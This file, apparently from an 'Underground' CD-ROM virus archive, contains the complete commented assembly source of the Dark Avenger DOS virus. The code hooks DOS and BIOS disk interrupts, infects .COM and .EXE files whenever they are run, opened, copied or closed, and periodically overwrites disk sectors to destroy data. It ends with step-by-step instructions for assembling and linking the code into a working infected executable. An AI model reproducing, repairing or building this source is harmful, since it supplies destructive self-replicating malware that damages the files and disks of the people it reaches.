home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / darkav.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  27.5 KB  |  1,021 lines

  1.  
  2.     DARK AVENGER VIRUS
  3.  
  4.  
  5. code    segment
  6.         assume  cs:code,ds:code
  7. copyright:
  8.         db      'Eddie lives...somewhere in time!',0
  9. date_stamp:
  10.         dd      12239000h
  11. checksum:
  12.         db      30
  13.  
  14. ; Return the control to an .EXE file:
  15. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  16.  
  17.  
  18.  
  19.  
  20.  
  21. exit_exe:
  22.         mov     bx,es
  23.         add     bx,10h
  24.         add     bx,word ptr cs:[si+call_adr+2]
  25.         mov     word ptr cs:[si+patch+2],bx
  26.         mov     bx,word ptr cs:[si+call_adr]
  27.         mov     word ptr cs:[si+patch],bx
  28.         mov     bx,es
  29.         add     bx,10h
  30.         add     bx,word ptr cs:[si+stack_pointer+2]
  31.         mov     ss,bx
  32.         mov     sp,word ptr cs:[si+stack_pointer]
  33.         db      0eah                    ;JMP XXXX:YYYY
  34. patch:
  35.         dd      0
  36.  
  37. ; Returns control to a .COM file:
  38. ; Restores the first 3 bytes in the
  39. ; beginning of the file, loads SP and IP.
  40.  
  41. exit_com:
  42.  
  43.  
  44.  
  45.  
  46.         mov     di,100h
  47.         add     si,offset my_save
  48.         movsb
  49.         movsw
  50.         mov     sp,ds:[6]               ;This is incorrect
  51.         xor     bx,bx
  52.         push    bx
  53.         jmp     [si-11]                 ;si+call_adr-top_file
  54.  
  55. ; Program entry point
  56.  
  57. startup:
  58.         call    relative
  59. relative:
  60.         pop     si                      ;SI = $
  61.         sub     si,offset relative
  62.         cld
  63.         cmp     word ptr cs:[si+my_save],5a4dh
  64.         je      exe_ok
  65.         cli
  66.         mov     sp,si                   ;A separate stack is supported 
  67. for
  68.         add     sp,offset top_file+100h ;the .COM files, in order not to
  69.         sti                             ;overlap the stack by the 
  70. program
  71.         cmp     sp,ds:[6]
  72.         jnc     exit_com
  73. exe_ok:
  74.         push    ax
  75.         push    es
  76.         push    si
  77.         push    ds
  78.         mov     di,si
  79.  
  80. ; Looking for the address of INT 13h handler in ROM-BIOS
  81.  
  82.         xor     ax,ax
  83.         push    ax
  84.         mov     ds,ax
  85.         les     ax,ds:[13h*4]
  86.         mov     word ptr cs:[si+fdisk],ax
  87.         mov     word ptr cs:[si+fdisk+2],es
  88.         mov     word ptr cs:[si+disk],ax
  89.         mov     word ptr cs:[si+disk+2],es
  90.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to 
  91. INT 40h
  92.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  93.         jne     nofdisk                 ;available
  94.         mov     word ptr cs:[si+disk+2],ax
  95.         mov     ax,ds:[40h*4]
  96.         mov     word ptr cs:[si+disk],ax
  97.         mov     dl,80h
  98.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the 
  99. segment,
  100.         cmp     ax,0f000h               ;where the original INT 13h 
  101. vector is
  102.         je      isfdisk
  103.         cmp     ah,0c8h
  104.         jc      nofdisk
  105.         cmp     ah,0f4h
  106.         jnc     nofdisk
  107.         test    al,7fh
  108.         jnz     nofdisk
  109.         mov     ds,ax
  110.         cmp     ds:[0],0aa55h
  111.         jne     nofdisk
  112.         mov     dl,ds:[2]
  113. isfdisk:
  114.         mov     ds,ax
  115.         xor     dh,dh
  116.         mov     cl,9
  117.         shl     dx,cl
  118.         mov     cx,dx
  119.         xor     si,si
  120. findvect:
  121.         lodsw                           ;Occasionally begins with:
  122.         cmp     ax,0fa80h               ;       CMP     DL,80h
  123.         jne     altchk                  ;       JNC     somewhere
  124.         lodsw
  125.         cmp     ax,7380h
  126.         je      intchk
  127.         jne     nxt0
  128. altchk:
  129.         cmp     ax,0c2f6h               ;or with:
  130.         jne     nxt                     ;       TEST    DL,80h
  131.         lodsw                           ;       JNZ     somewhere
  132.         cmp     ax,7580h
  133.         jne     nxt0
  134. intchk:
  135.         inc     si                      ;then there is:
  136.         lodsw                           ;       INT     40h
  137.         cmp     ax,40cdh
  138.         je      found
  139.         sub     si,3
  140. nxt0:
  141.         dec     si
  142.         dec     si
  143. nxt:
  144.         dec     si
  145.         loop    findvect
  146.         jmp     short nofdisk
  147. found:
  148.         sub     si,7
  149.         mov     word ptr cs:[di+fdisk],si
  150.         mov     word ptr cs:[di+fdisk+2],ds
  151. nofdisk:
  152.         mov     si,di
  153.         pop     ds
  154.  
  155. ; Check whether the program is present in memory:
  156.  
  157.         les     ax,ds:[21h*4]
  158.         mov     word ptr cs:[si+save_int_21],ax
  159.         mov     word ptr cs:[si+save_int_21+2],es
  160.         push    cs
  161.         pop     ds
  162.         cmp     ax,offset int_21
  163.         jne     bad_func
  164.         xor     di,di
  165.         mov     cx,offset my_size
  166. scan_func:
  167.         lodsb
  168.         scasb
  169.         jne     bad_func
  170.         loop    scan_func
  171.         pop     es
  172.         jmp     go_program
  173.  
  174. ; Move the program to the top of memory:
  175. ; (it's full of rubbish and bugs here)
  176.  
  177. bad_func:
  178.         pop     es
  179.         mov     ah,49h
  180.         int     21h
  181.         mov     bx,0ffffh
  182.         mov     ah,48h
  183.         int     21h
  184.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  185.         jc      go_program
  186.         mov     cx,es
  187.         stc
  188.         adc     cx,bx
  189.         mov     ah,4ah
  190.         int     21h
  191.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  192.         stc
  193.         sbb     es:[2],bx
  194.         push    es
  195.         mov     es,cx
  196.         mov     ah,4ah
  197.         int     21h
  198.         mov     ax,es
  199.         dec     ax
  200.         mov     ds,ax
  201.         mov     word ptr ds:[1],8
  202.         call    mul_16
  203.         mov     bx,ax
  204.         mov     cx,dx
  205.         pop     ds
  206.         mov     ax,ds
  207.         call    mul_16
  208.         add     ax,ds:[6]
  209.         adc     dx,0
  210.         sub     ax,bx
  211.         sbb     dx,cx
  212.         jc      mem_ok
  213.         sub     ds:[6],ax               ;Reduction of the segment size
  214. mem_ok:
  215.         pop     si
  216.         push    si
  217.         push    ds
  218.         push    cs
  219.         xor     di,di
  220.         mov     ds,di
  221.         lds     ax,ds:[27h*4]
  222.         mov     word ptr cs:[si+save_int_27],ax
  223.         mov     word ptr cs:[si+save_int_27+2],ds
  224.         pop     ds
  225.         mov     cx,offset aux_size
  226.         rep     movsb
  227.         xor     ax,ax
  228.         mov     ds,ax
  229.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  230.         mov     ds:[21h*4+2],es
  231.         mov     ds:[27h*4],offset int_27
  232.         mov     ds:[27h*4+2],es
  233.         mov     word ptr es:[filehndl],ax
  234.         pop     es
  235. go_program:
  236.         pop     si
  237.  
  238. ; Smash the next disk sector:
  239.  
  240.         xor     ax,ax
  241.         mov     ds,ax
  242.         mov     ax,ds:[13h*4]
  243.         mov     word ptr cs:[si+save_int_13],ax
  244.         mov     ax,ds:[13h*4+2]
  245.         mov     word ptr cs:[si+save_int_13+2],ax
  246.         mov     ds:[13h*4],offset int_13
  247.         add     ds:[13h*4],si
  248.         mov     ds:[13h*4+2],cs
  249.         pop     ds
  250.         push    ds
  251.         push    si
  252.         mov     bx,si
  253.         lds     ax,ds:[2ah]
  254.         xor     si,si
  255.         mov     dx,si
  256. scan_envir:                             ;Fetch program's name
  257.         lodsw                           ;(with DOS 2.x it doesn't work 
  258. anyway)
  259.         dec     si
  260.         test    ax,ax
  261.         jnz     scan_envir
  262.         add     si,3
  263.         lodsb
  264.  
  265. ; The following instruction is a complete nonsense.  Try to enter a 
  266. drive &
  267. ; directory path in lowercase, then run an infected program from there.
  268. ; As a result of an error here + an error in DOS the next sector is not
  269. ; smashed. Two memory bytes are smashed instead, most probably onto the
  270. ; infected program.
  271.  
  272.         sub     al,'A'
  273.         mov     cx,1
  274.         push    cs
  275.         pop     ds
  276.         add     bx,offset int_27
  277.         push    ax
  278.         push    bx
  279.         push    cx
  280.         int     25h
  281.         pop     ax
  282.         pop     cx
  283.         pop     bx
  284.         inc     byte ptr [bx+0ah]
  285.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  286.         jnz     store_sec               ;nothing is not enough for some.
  287.         mov     al,[bx+10h]
  288.         xor     ah,ah
  289.         mul     word ptr [bx+16h]
  290.         add     ax,[bx+0eh]
  291.         push    ax
  292.         mov     ax,[bx+11h]
  293.         mov     dx,32
  294.         mul     dx
  295.         div     word ptr [bx+0bh]
  296.         pop     dx
  297.         add     dx,ax
  298.         mov     ax,[bx+8]
  299.         add     ax,40h
  300.         cmp     ax,[bx+13h]
  301.         jc      store_new
  302.         inc     ax
  303.         and     ax,3fh
  304.         add     ax,dx
  305.         cmp     ax,[bx+13h]
  306.         jnc     small_disk
  307. store_new:
  308.         mov     [bx+8],ax
  309. store_sec:
  310.         pop     ax
  311.         xor     dx,dx
  312.         push    ax
  313.         push    bx
  314.         push    cx
  315.         int     26h
  316.  
  317.  
  318. ; The writing trough this interrupt is not the smartest thing, bacause 
  319. it
  320. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  321.  
  322.         pop     ax
  323.         pop     cx
  324.         pop     bx
  325.         pop     ax
  326.         cmp     byte ptr [bx+0ah],0
  327.         jne     not_now
  328.         mov     dx,[bx+8]
  329.         pop     bx
  330.         push    bx
  331.         int     26h
  332. small_disk:
  333.         pop     ax
  334. not_now:
  335.         pop     si
  336.         xor     ax,ax
  337.         mov     ds,ax
  338.         mov     ax,word ptr cs:[si+save_int_13]
  339.         mov     ds:[13h*4],ax
  340.         mov     ax,word ptr cs:[si+save_int_13+2]
  341.         mov     ds:[13h*4+2],ax
  342.         pop     ds
  343.         pop     ax
  344.         cmp     word ptr cs:[si+my_save],5a4dh
  345.         jne     go_exit_com
  346.         jmp     exit_exe
  347. go_exit_com:
  348.         jmp     exit_com
  349. int_24:
  350.         mov     al,3                    ;This instruction seems 
  351. unnecessary
  352.         iret
  353.  
  354. ; INT 27h handler (this is necessary)
  355.  
  356. int_27:
  357.         pushf
  358.         call    alloc
  359.         popf
  360.         jmp     dword ptr cs:[save_int_27]
  361.  
  362. ; During the DOS functions Set & Get Vector it seems that the virus has 
  363. not
  364. ; intercepted them (this is a doubtfull advantage and it is a possible
  365. ; source of errors with some "intelligent" programs)
  366.  
  367. set_int_27:
  368.         mov     word ptr cs:[save_int_27],dx
  369.         mov     word ptr cs:[save_int_27+2],ds
  370.         popf
  371.         iret
  372. set_int_21:
  373.         mov     word ptr cs:[save_int_21],dx
  374.         mov     word ptr cs:[save_int_21+2],ds
  375.         popf
  376.         iret
  377. get_int_27:
  378.         les     bx,dword ptr cs:[save_int_27]
  379.         popf
  380.         iret
  381. get_int_21:
  382.         les     bx,dword ptr cs:[save_int_21]
  383.         popf
  384.         iret
  385.  
  386. exec:
  387.  
  388.  
  389.         call    do_file
  390.         call    alloc
  391.         popf
  392.         jmp     dword ptr cs:[save_int_21]
  393.  
  394.         db      'Diana P.',0
  395.  
  396. ; INT 21h handler.  Infects files during execution, copying, browsing or
  397. ; creating and some other operations. The execution of functions 0 and 
  398. 26h
  399. ; has bad consequences.
  400.  
  401. int_21:
  402.         push    bp
  403.         mov     bp,sp
  404.         push    [bp+6]
  405.         popf
  406.         pop     bp
  407.         pushf
  408.         call    ontop
  409.         cmp     ax,2521h
  410.         je      set_int_21
  411.         cmp     ax,2527h
  412.         je      set_int_27
  413.         cmp     ax,3521h
  414.         je      get_int_21
  415.         cmp     ax,3527h
  416.         je      get_int_27
  417.         cld
  418.         cmp     ax,4b00h
  419.         je      exec
  420.         cmp     ah,3ch
  421.         je      create
  422.         cmp     ah,3eh
  423.         je      close
  424.         cmp     ah,5bh
  425.         jne     not_create
  426. create:
  427.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  428.         jne     dont_touch
  429.         call    see_name
  430.         jnz     dont_touch
  431.         call    alloc
  432.         popf
  433.         call    function
  434.         jc      int_exit
  435.         pushf
  436.         push    es
  437.         push    cs
  438.         pop     es
  439.         push    si
  440.         push    di
  441.         push    cx
  442.         push    ax
  443.         mov     di,offset filehndl
  444.         stosw
  445.         mov     si,dx
  446.         mov     cx,65
  447. move_name:
  448.         lodsb
  449.         stosb
  450.         test    al,al
  451.         jz      all_ok
  452.         loop    move_name
  453.         mov     word ptr es:[filehndl],cx
  454. all_ok:
  455.         pop     ax
  456.         pop     cx
  457.         pop     di
  458.         pop     si
  459.         pop     es
  460. go_exit:
  461.         popf
  462.         jnc     int_exit                ;JMP
  463. close:
  464.         cmp     bx,word ptr cs:[filehndl]
  465.         jne     dont_touch
  466.         test    bx,bx
  467.         jz      dont_touch
  468.         call    alloc
  469.         popf
  470.         call    function
  471.         jc      int_exit
  472.         pushf
  473.         push    ds
  474.         push    cs
  475.         pop     ds
  476.         push    dx
  477.         mov     dx,offset filehndl+2
  478.         call    do_file
  479.         mov     word ptr cs:[filehndl],0
  480.         pop     dx
  481.         pop     ds
  482.         jmp     go_exit
  483. not_create:
  484.         cmp     ah,3dh
  485.         je      touch
  486.         cmp     ah,43h
  487.         je      touch
  488.         cmp     ah,56h                  ;Unfortunately, the command 
  489. inter-
  490.         jne     dont_touch              ;preter does not use this 
  491. function
  492. touch:
  493.         call    see_name
  494.         jnz     dont_touch
  495.         call    do_file
  496. dont_touch:
  497.         call    alloc
  498.         popf
  499.         call    function
  500. int_exit:
  501.         pushf
  502.         push    ds
  503.         call    get_chain
  504.         mov     byte ptr ds:[0],'Z'
  505.         pop     ds
  506.         popf
  507. dummy   proc    far                     ;???
  508.         ret     2
  509. dummy   endp
  510.  
  511. ; Checks whether the file is .COM or .EXE.
  512. ; It is not called upon file execution.
  513.  
  514. see_name:
  515.         push    ax
  516.         push    si
  517.         mov     si,dx
  518. scan_name:
  519.         lodsb
  520.         test    al,al
  521.         jz      bad_name
  522.         cmp     al,'.'
  523.         jnz     scan_name
  524.         call    get_byte
  525.         mov     ah,al
  526.         call    get_byte
  527.         cmp     ax,'co'
  528.         jz      pos_com
  529.         cmp     ax,'ex'
  530.         jnz     good_name
  531.         call    get_byte
  532.         cmp     al,'e'
  533.         jmp     short good_name
  534. pos_com:
  535.         call    get_byte
  536.         cmp     al,'m'
  537.         jmp     short good_name
  538. bad_name:
  539.         inc     al
  540. good_name:
  541.         pop     si
  542.         pop     ax
  543.         ret
  544.  
  545. ; Converts into lowercase (the subroutines are a great thing).
  546.  
  547. get_byte:
  548.         lodsb
  549.         cmp     al,'C'
  550.         jc      byte_got
  551.         cmp     al,'Y'
  552.         jnc     byte_got
  553.         add     al,20h
  554. byte_got:
  555.         ret
  556.  
  557. ; Calls the original INT 21h.
  558.  
  559. function:
  560.         pushf
  561.         call    dword ptr cs:[save_int_21]
  562.         ret
  563.  
  564. ; Arrange to infect an executable file.
  565.  
  566. do_file:
  567.         push    ds                      ;Save the registers in stack
  568.         push    es
  569.         push    si
  570.         push    di
  571.         push    ax
  572.         push    bx
  573.         push    cx
  574.         push    dx
  575.         mov     si,ds
  576.         xor     ax,ax
  577.         mov     ds,ax
  578.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in 
  579. stack
  580.         push    es                      ;and changes them with what is 
  581. needed
  582.         push    ax
  583.         mov     ds:[24h*4],offset int_24
  584.         mov     ds:[24h*4+2],cs
  585.         les     ax,ds:[13h*4]
  586.         mov     word ptr cs:[save_int_13],ax
  587.         mov     word ptr cs:[save_int_13+2],es
  588.         mov     ds:[13h*4],offset int_13
  589.         mov     ds:[13h*4+2],cs
  590.         push    es
  591.         push    ax
  592.         mov     ds,si
  593.         xor     cx,cx                   ;Arranges to infect Read-only 
  594. files
  595.         mov     ax,4300h
  596.         call    function
  597.         mov     bx,cx
  598.         and     cl,0feh
  599.         cmp     cl,bl
  600.         je      dont_change
  601.         mov     ax,4301h
  602.         call    function
  603.         stc
  604. dont_change:
  605.         pushf
  606.         push    ds
  607.         push    dx
  608.         push    bx
  609.         mov     ax,3d02h                ;Now we can safely open the file
  610.         call    function
  611.         jc      cant_open
  612.         mov     bx,ax
  613.         call    disease
  614.         mov     ah,3eh                  ;Close it
  615.  
  616.         call    function
  617. cant_open:
  618.         pop     cx
  619.         pop     dx
  620.         pop     ds
  621.         popf
  622.         jnc     no_update
  623.         mov     ax,4301h                ;Restores file's attributes
  624.         call    function                ;if they were changed (just in 
  625. case)
  626. no_update:
  627.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  628.         mov     ds,ax
  629.         pop     ds:[13h*4]
  630.         pop     ds:[13h*4+2]
  631.         pop     ds:[24h*4]
  632.         pop     ds:[24h*4+2]
  633.         pop     dx                      ;Register restoration
  634.         pop     cx
  635.         pop     bx
  636.         pop     ax
  637.         pop     di
  638.         pop     si
  639.         pop     es
  640.         pop     ds
  641.         ret
  642.  
  643. ; This routine is the working horse.
  644.  
  645. disease:
  646.         push    cs
  647.         pop     ds
  648.         push    cs
  649.         pop     es
  650.         mov     dx,offset top_save      ;Read the file beginning
  651.         mov     cx,18h
  652.         mov     ah,3fh
  653.         int     21h
  654.         xor     cx,cx
  655.         xor     dx,dx
  656.         mov     ax,4202h                ;Save file length
  657.         int     21h
  658.         mov     word ptr [top_save+1ah],dx
  659.         cmp     ax,offset my_size       ;This should be top_file
  660.         sbb     dx,0
  661.         jc      stop_fuck_2             ;Small files are not infected
  662.         mov     word ptr [top_save+18h],ax
  663.         cmp     word ptr [top_save],5a4dh
  664.         jne     com_file
  665.         mov     ax,word ptr [top_save+8]
  666.         add     ax,word ptr [top_save+16h]
  667.         call    mul_16
  668.         add     ax,word ptr [top_save+14h]
  669.         adc     dx,0
  670.         mov     cx,dx
  671.         mov     dx,ax
  672.         jmp     short see_sick
  673. com_file:
  674.         cmp     byte ptr [top_save],0e9h
  675.         jne     see_fuck
  676.         mov     dx,word ptr [top_save+1]
  677.         add     dx,103h
  678.         jc      see_fuck
  679.         dec     dh
  680.         xor     cx,cx
  681.  
  682. ; Check if the file is properly infected
  683.  
  684.  
  685. see_sick:
  686.         sub     dx,startup-copyright
  687.         sbb     cx,0
  688.         mov     ax,4200h
  689.         int     21h
  690.         add     ax,offset top_file
  691.         adc     dx,0
  692.         cmp     ax,word ptr [top_save+18h]
  693.         jne     see_fuck
  694.         cmp     dx,word ptr [top_save+1ah]
  695.         jne     see_fuck
  696.         mov     dx,offset top_save+1ch
  697.         mov     si,dx
  698.         mov     cx,offset my_size
  699.         mov     ah,3fh
  700.         int     21h
  701.         jc      see_fuck
  702.         cmp     cx,ax
  703.         jne     see_fuck
  704.         xor     di,di
  705. next_byte:
  706.  
  707.         lodsb
  708.         scasb
  709.         jne     see_fuck
  710.         loop    next_byte
  711. stop_fuck_2:
  712.         ret
  713. see_fuck:
  714.         xor     cx,cx                   ;Seek to the end of file
  715.         xor     dx,dx
  716.         mov     ax,4202h
  717.         int     21h
  718.         cmp     word ptr [top_save],5a4dh
  719.         je      fuck_exe
  720.         add     ax,offset aux_size+200h ;Watch out for too big .COM 
  721. files
  722.         adc     dx,0
  723.         je      fuck_it
  724.         ret
  725.  
  726. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  727.  
  728. fuck_exe:
  729.         mov     dx,word ptr [top_save+18h]
  730.         neg     dl
  731.         and     dx,0fh
  732.         xor     cx,cx
  733.         mov     ax,4201h
  734.         int     21h
  735.         mov     word ptr [top_save+18h],ax
  736.         mov     word ptr [top_save+1ah],dx
  737. fuck_it:
  738.         mov     ax,5700h                ;Get file's date
  739.         int     21h
  740.         pushf
  741.         push    cx
  742.         push    dx
  743.         cmp     word ptr [top_save],5a4dh
  744.         je      exe_file                ;Very clever, isn't it?
  745.         mov     ax,100h
  746.         jmp     short set_adr
  747. exe_file:
  748.         mov     ax,word ptr [top_save+14h]
  749.         mov     dx,word ptr [top_save+16h]
  750. set_adr:
  751.         mov     di,offset call_adr
  752.         stosw
  753.         mov     ax,dx
  754.         stosw
  755.         mov     ax,word ptr [top_save+10h]
  756.         stosw
  757.         mov     ax,word ptr [top_save+0eh]
  758.         stosw
  759.         mov     si,offset top_save      ;This offers the possibilities 
  760. to
  761.         movsb                           ;some nasty programs to restore
  762.         movsw                           ;exactly the original length
  763.         xor     dx,dx                   ;of the .EXE files
  764.         mov     cx,offset top_file
  765.         mov     ah,40h
  766.         int     21h                     ;Write the virus
  767.         jc      go_no_fuck              ;(don't trace here)
  768.         xor     cx,ax
  769.         jnz     go_no_fuck
  770.         mov     dx,cx
  771.         mov     ax,4200h
  772.         int     21h
  773.         cmp     word ptr [top_save],5a4dh
  774.         je      do_exe
  775.         mov     byte ptr [top_save],0e9h
  776.         mov     ax,word ptr [top_save+18h]
  777.         add     ax,startup-copyright-3
  778.         mov     word ptr [top_save+1],ax
  779.         mov     cx,3
  780.         jmp     short write_header
  781. go_no_fuck:
  782.         jmp     short no_fuck
  783.  
  784. ; Construct the .EXE file's header
  785.  
  786. do_exe:
  787.         call    mul_hdr
  788.         not     ax
  789.         not     dx
  790.         inc     ax
  791.         jne     calc_offs
  792.         inc     dx
  793. calc_offs:
  794.         add     ax,word ptr [top_save+18h]
  795.         adc     dx,word ptr [top_save+1ah]
  796.         mov     cx,10h
  797.         div     cx
  798.         mov     word ptr [top_save+14h],startup-copyright
  799.         mov     word ptr [top_save+16h],ax
  800.         add     ax,(offset top_file-offset copyright-1)/16+1
  801.         mov     word ptr [top_save+0eh],ax
  802.         mov     word ptr [top_save+10h],100h
  803.         add     word ptr [top_save+18h],offset top_file
  804.         adc     word ptr [top_save+1ah],0
  805.         mov     ax,word ptr [top_save+18h]
  806.         and     ax,1ffh
  807.         mov     word ptr [top_save+2],ax
  808.         pushf
  809.         mov     ax,word ptr [top_save+19h]
  810.         shr     byte ptr [top_save+1bh],1
  811.         rcr     ax,1
  812.         popf
  813.         jz      update_len
  814.         inc     ax
  815. update_len:
  816.         mov     word ptr [top_save+4],ax
  817.         mov     cx,18h
  818. write_header:
  819.         mov     dx,offset top_save
  820.         mov     ah,40h
  821.         int     21h                     ;Write the file beginning
  822. no_fuck:
  823.         pop     dx
  824.         pop     cx
  825.         popf
  826.         jc      stop_fuck
  827.         mov     ax,5701h                ;Restore the original file date
  828.         int     21h
  829. stop_fuck:
  830.         ret
  831.  
  832. ; The following is used by the INT 21h and INT 27h handlers in 
  833. connection
  834. ; to the program hiding in memory from those who don't need to see it.
  835. ; The whole system is absurde and meaningless and it is also another 
  836. source
  837. ; for program conflicts.
  838.  
  839. alloc:
  840.         push    ds
  841.         call    get_chain
  842.         mov     byte ptr ds:[0],'M'
  843.         pop     ds
  844.  
  845. ; Assures that the program is the first one in the processes,
  846. ; which have intercepted INT 21h (yet another source of conflicts).
  847.  
  848. ontop:
  849.         push    ds
  850.         push    ax
  851.         push    bx
  852.         push    dx
  853.         xor     bx,bx
  854.         mov     ds,bx
  855.         lds     dx,ds:[21h*4]
  856.         cmp     dx,offset int_21
  857.         jne     search_segment
  858.         mov     ax,ds
  859.         mov     bx,cs
  860.         cmp     ax,bx
  861.         je      test_complete
  862.  
  863. ; Searches the segment of the sucker who has intercepted INT 21h, in
  864. ; order to find where it has stored the old values and to replace them.
  865. ; Nothing is done for INT 27h.
  866.  
  867.         xor     bx,bx
  868. search_segment:
  869.         mov     ax,[bx]
  870.         cmp     ax,offset int_21
  871.         jne     search_next
  872.         mov     ax,cs
  873.         cmp     ax,[bx+2]
  874.         je      got_him
  875. search_next:
  876.         inc     bx
  877.         jne     search_segment
  878.         je      return_control
  879. got_him:
  880.         mov     ax,word ptr cs:[save_int_21]
  881.         mov     [bx],ax
  882.         mov     ax,word ptr cs:[save_int_21+2]
  883.         mov     [bx+2],ax
  884.         mov     word ptr cs:[save_int_21],dx
  885.         mov     word ptr cs:[save_int_21+2],ds
  886.         xor     bx,bx
  887.  
  888. ; Even if he has not saved them in the same segment, this won't help 
  889. him.
  890.  
  891. return_control:
  892.         mov     ds,bx
  893.         mov     ds:[21h*4],offset int_21
  894.         mov     ds:[21h*4+2],cs
  895. test_complete:
  896.         pop     dx
  897.         pop     bx
  898.         pop     ax
  899.         pop     ds
  900.         ret
  901.  
  902. ; Fetch the segment of the last MCB
  903.  
  904. get_chain:
  905.         push    ax
  906.         push    bx
  907.         mov     ah,62h
  908.         call    function
  909.         mov     ax,cs
  910.         dec     ax
  911.         dec     bx
  912. next_blk:
  913.         mov     ds,bx
  914.         stc
  915.         adc     bx,ds:[3]
  916.         cmp     bx,ax
  917.         jc      next_blk
  918.         pop     bx
  919.         pop     ax
  920.         ret
  921.  
  922. ; Multiply by 16
  923.  
  924. mul_hdr:
  925.         mov     ax,word ptr [top_save+8]
  926. mul_16:
  927.         mov     dx,10h
  928.         mul     dx
  929.         ret
  930.  
  931.         db      'This program was written in the city of Sofia '
  932.         db      '(C) 1988-89 Dark Avenger',0
  933.  
  934. ; INT 13h handler.
  935. ; Calls the original vectors in BIOS, if it's a writing call
  936.  
  937. int_13:
  938.         cmp     ah,3
  939.         jnz     subfn_ok
  940.         cmp     dl,80h
  941.         jnc     hdisk
  942.         db      0eah                    ;JMP XXXX:YYYY
  943. my_size:                                ;--- Up to here comparison
  944. disk:                                   ; with the original is made
  945.         dd      0
  946. hdisk:
  947.         db      0eah                    ;JMP XXXX:YYYY
  948. fdisk:
  949.         dd      0
  950. subfn_ok:
  951.         db      0eah                    ;JMP XXXX:YYYY
  952. save_int_13:
  953.         dd      0
  954. call_adr:
  955.         dd      100h
  956.  
  957. stack_pointer:
  958.         dd      0                       ;The original value of SS:SP
  959. my_save:
  960.         int     20h                     ;The original contents of the 
  961. first
  962.         nop                             ;3 bytes of the file
  963. top_file:                               ;--- Up to here the code is 
  964. written
  965. filehndl    equ $                       ; in the files
  966. filename    equ filehndl+2              ;Buffer for the name of the 
  967. opened file
  968. save_int_27 equ filename+65             ;Original INT 27h vector
  969. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  970. aux_size    equ save_int_21+4           ;--- Up to here is moved into 
  971. memory
  972. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  973.                                         ;contains
  974.                                         ; - The first 24 bytes read from 
  975. file
  976.                                         ; - File length (4 bytes)
  977.                                         ; - The last bytes of the file
  978.                                         ;   (my_size bytes)
  979. top_bz      equ top_save-copyright
  980. my_bz       equ my_size-copyright
  981.  
  982. code    ends
  983.         end
  984.  
  985. ------------------------------------------------------------------------
  986. ------
  987.  
  988.      A few notes on assembling this virus.
  989.  
  990.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  991.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  992.      MASM will work just as well.
  993.  
  994.      1:
  995.          TASM AVENGER.ASM
  996.  
  997.      2:
  998.          TLINK AVENGER.OBJ
  999.  
  1000.      3:
  1001.          EXE2BIN AVENGER AVENGER.COM
  1002.  
  1003.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  1004.  
  1005.      4:  DEBUG
  1006.  
  1007.          n jmp.tmp
  1008.          e 0100  E9 68 00
  1009.  
  1010.          rcx
  1011.          3
  1012.          w
  1013.          q
  1014.  
  1015.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  1016.  
  1017.          There you have it....
  1018.  
  1019.  
  1020.  
  1021.